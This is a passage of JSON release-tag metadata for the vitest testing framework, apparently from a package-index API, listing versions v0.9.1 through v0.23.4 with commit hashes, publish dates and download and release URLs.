2022-09-18T03:36:34.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.23.4","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.23.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.23.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.23.4/manifests"},{"name":"v0.23.3","sha":"8f95556ce69ec4a7794b7c3f02fc14c19d410305","kind":"tag","published_at":"2022-09-14T01:30:22.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.23.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.23.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.23.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.23.3/manifests"},{"name":"v0.23.2","sha":"9b668445abc20d54b08b4dfd54ceb854194d9c4a","kind":"tag","published_at":"2022-09-10T07:55:58.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.23.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.23.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.23.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.23.2/manifests"},{"name":"v0.23.1","sha":"e8c36c52e313cc1d2e5f6d34740fb7fec4d721d2","kind":"tag","published_at":"2022-09-05T08:14:40.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.23.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.23.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.23.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.23.1/manifests"},{"name":"v0.23.0","sha":"e81a2049373ab1877b4d1cdc141e44eb2f10f307","kind":"tag","published_at":"2022-09-04T11:58:42.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.23.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.23.0/manifests"},{"name":"v0.22.1","sha":"637e2b376649c1508d823e117c0aeaaa1294cac8","kind":"tag","published_at":"2022-08-18T07:59:58.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.22.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.22.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.22.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.22.1/manifests"},{"name":"v0.22.0","sha":"8f24c2f65e436aa98a9e1c77eddf5d082c2ca60d","kind":"tag","published_at":"2022-08-15T20:13:44.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.22.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.22.0/manifests"},{"name":"v0.21.1","sha":"6aee8cd3a62144d2ebc55fce96635defc7504cf0","kind":"tag","published_at":"2022-08-09T09:38:35.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.21.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.21.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.21.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.21.1/manifests"},{"name":"v0.21.0","sha":"18e0bec200be07c391afd35a669dd02b67d1a08f","kind":"tag","published_at":"2022-08-05T16:10:31.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.21.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.21.0/manifests"},{"name":"v0.20.3","sha":"5e6a8dab31baa83f142d73c1b60e196d60818a8f","kind":"tag","published_at":"2022-08-02T15:38:36.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.20.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.20.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.20.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.20.3/manifests"},{"name":"v0.20.2","sha":"4ed35b9b9f73e0c3d5fab71cb59bda4215643f6d","kind":"tag","published_at":"2022-07-31T11:12:52.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.20.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.20.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.20.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.20.2/manifests"},{"name":"v0.20.1","sha":"a35b500c9016a2ecefa3c873235c737cac218b18","kind":"tag","published_at":"2022-07-31T07:46:43.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.20.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.20.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.20.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.20.1/manifests"},{"name":"v0.20.0","sha":"3bce1a36dfde45d266226d08b18585b067223f9c","kind":"tag","published_at":"2022-07-31T06:49:45.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.20.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.20.0/manifests"},{"name":"v0.19.1","sha":"0dd07ab0cdcc00f51e5ff5c1ff13ff71a3774fe1","kind":"tag","published_at":"2022-07-25T13:31:13.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.19.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.19.1/manifests"},{"name":"v0.19.0","sha":"fc73c9943d37b24ba3e8d4185a1dac8418e1efef","kind":"tag","published_at":"2022-07-24T06:50:55.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.19.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.19.0/manifests"},{"name":"v0.18.1","sha":"951080f1d1a557fb6bafbf6f9c7768ac39397767","kind":"tag","published_at":"2022-07-16T15:10:33.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.18.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.18.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.18.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.18.1/manifests"},{"name":"v0.18.0","sha":"e910f81097f9a8fbeb27db4c6015fb171faaacf4","kind":"tag","published_at":"2022-07-09T08:17:29.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.18.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.18.0/manifests"},{"name":"v0.17.1","sha":"3ade270b50110392fc472b4c5e123dff0b46643d","kind":"tag","published_at":"2022-07-07T08:40:05.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.17.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.17.1/manifests"},{"name":"v0.17.0","sha":"1996e42d433ae291c7ccd41fa8ed613ba5303096","kind":"tag","published_at":"2022-07-03T13:01:05.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.17.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.17.0/manifests"},{"name":"v0.16.0","sha":"b8590f159d42d7a2ac8d66b01efcb9d9fcc8d0b4","kind":"tag","published_at":"2022-06-24T13:33:35.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.16.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.16.0/manifests"},{"name":"v0.15.2","sha":"2d9cc41c11c7e09b2ee6564c9d30e409bc77af1e","kind":"tag","published_at":"2022-06-21T09:17:36.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.15.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.15.2/manifests"},{"name":"v0.15.1","sha":"59aa8e523148c5a15c9aa2eae86d21c3705f894a","kind":"tag","published_at":"2022-06-15T09:30:40.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.15.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.15.1/manifests"},{"name":"v0.15.0","sha":"2fcce6d13d6b48a95b6d46b2f8a64e7015fe2664","kind":"tag","published_at":"2022-06-14T18:46:20.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.15.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.15.0/manifests"},{"name":"v0.14.2","sha":"3199dc7d689a58033336bdd99075c0833d39aa81","kind":"tag","published_at":"2022-06-10T08:19:57.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.14.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.14.2/manifests"},{"name":"v0.14.1","sha":"8029aa76f12db5cd6dd3769d3faf391d30bf85e8","kind":"tag","published_at":"2022-06-06T06:03:48.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.14.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.14.1/manifests"},{"name":"v0.14.0","sha":"d6b8591c2b1154e378c72e864722a3db47aed27e","kind":"tag","published_at":"2022-06-05T15:19:09.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.14.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.14.0/manifests"},{"name":"v0.13.1","sha":"c3621c9405614c9af21d4074a8fdb1946caec5a3","kind":"tag","published_at":"2022-06-01T06:14:07.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.13.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.13.1/manifests"},{"name":"v0.13.0","sha":"1cf7fe64a14a06b44a8294fbecdecf1156058149","kind":"tag","published_at":"2022-05-29T09:34:01.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.13.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.13.0/manifests"},{"name":"v0.12.10","sha":"f36a2709675c2962b2007cf56271841654354b6f","kind":"tag","published_at":"2022-05-29T07:40:48.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.12.10","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.12.10","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.12.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.12.10/manifests"},{"name":"v0.12.9","sha":"e771bcbfd46022dcf81bf01f049ffdf9ea573330","kind":"tag","published_at":"2022-05-21T18:14:01.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.12.9","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.12.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.12.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.12.9/manifests"},{"name":"v0.12.8","sha":"60b55df765740bbde1b18b52449a57a3e948aa1d","kind":"tag","published_at":"2022-05-21T10:23:02.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.12.8","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.12.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.12.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.12.8/manifests"},{"name":"v0.12.7","sha":"fa066cb0c310e183d864e708257fbf93be7bc3d5","kind":"tag","published_at":"2022-05-20T09:01:31.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.12.7","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.12.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.12.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.12.7/manifests"},{"name":"v0.12.6","sha":"dbb0e8fbd217b53dd499e577565ee2b9e6a4fa75","kind":"tag","published_at":"2022-05-13T15:55:19.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.12.6","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.12.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.12.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.12.6/manifests"},{"name":"v0.12.5","sha":"68a57a867fdaee422feab2230ac3ca28c4fa4b38","kind":"tag","published_at":"2022-05-13T12:32:12.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.12.5","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.12.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.12.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.12.5/manifests"},{"name":"v0.12.4","sha":"9741f2e07016657d8219a99437a87a12d90b35d0","kind":"tag","published_at":"2022-05-10T23:16:37.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.12.4","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.12.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.12.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.12.4/manifests"},{"name":"v0.12.3","sha":"1aa29583c94fdf2910b84f512b34c1d1406cd0c4","kind":"tag","published_at":"2022-05-10T00:26:07.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.12.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.12.3/manifests"},{"name":"v0.12.2","sha":"5f82280db7e6e49e85d4d472fbc5902b9b1fe35d","kind":"tag","published_at":"2022-05-09T16:20:29.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.12.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.12.2/manifests"},{"name":"v0.12.1","sha":"030dd61bf28bdd33b543c084e103b75b788284c4","kind":"tag","published_at":"2022-05-09T10:50:36.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.12.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.12.1/manifests"},{"name":"v0.12.0","sha":"82d13bd2f45c54d2bcd64cd9382bd0a5638e60b4","kind":"tag","published_at":"2022-05-08T06:42:11.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.12.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.12.0/manifests"},{"name":"v0.11.0","sha":"336e4af332210f1aa80d6b9f201b8d3084f16dbd","kind":"tag","published_at":"2022-05-07T21:27:28.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.11.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.11.0/manifests"},{"name":"v0.10.5","sha":"87b77bbb042cc8215366372e6cbbbb814ed3e9c0","kind":"tag","published_at":"2022-05-06T10:26:18.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.10.5","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.10.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.10.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.10.5/manifests"},{"name":"v0.10.4","sha":"da0fa2d0f3cd8ede9483bf3fb2475b95d6c91ec2","kind":"tag","published_at":"2022-05-05T16:56:14.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.10.4","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.10.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.10.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.10.4/manifests"},{"name":"v0.10.3","sha":"5ff43314d143b11c40ab885a15eb10dd7c6516b9","kind":"tag","published_at":"2022-05-05T16:16:46.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.10.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.10.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.10.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.10.3/manifests"},{"name":"v0.10.2","sha":"22f3c29610b415f78c8578365eb1a5aaeb0c8d59","kind":"tag","published_at":"2022-05-03T07:35:25.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.10.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.10.2/manifests"},{"name":"v0.10.1","sha":"2dbc31bd1721c2b4b800b2f0446baeb52d43c344","kind":"tag","published_at":"2022-05-02T17:14:02.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.10.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.10.1/manifests"},{"name":"v0.10.0","sha":"1afa09881c5f097aa2d957cce95d4ce258756a1a","kind":"tag","published_at":"2022-04-25T14:15:41.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.10.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.10.0/manifests"},{"name":"v0.9.4","sha":"a82b6b142c46c7f00bb1c968eed7dae89fa83fba","kind":"tag","published_at":"2022-04-21T14:33:09.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.9.4","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.9.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.9.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.9.4/manifests"},{"name":"v0.9.3","sha":"22af647f74ffb054544af42db594b721414268a5","kind":"tag","published_at":"2022-04-10T06:29:17.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.9.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.9.3/manifests"},{"name":"v0.9.2","sha":"6ecb4213aeb96414320165e3aec52670e30ef32f","kind":"tag","published_at":"2022-04-07T20:25:43.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.9.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.9.2/manifests"},{"name":"v0.9.1","sha":"26f33390de1b4823e48cda99566d54001b72e643","kind":"tag","published_at":"2022-04-07T18:43:56.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.9.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts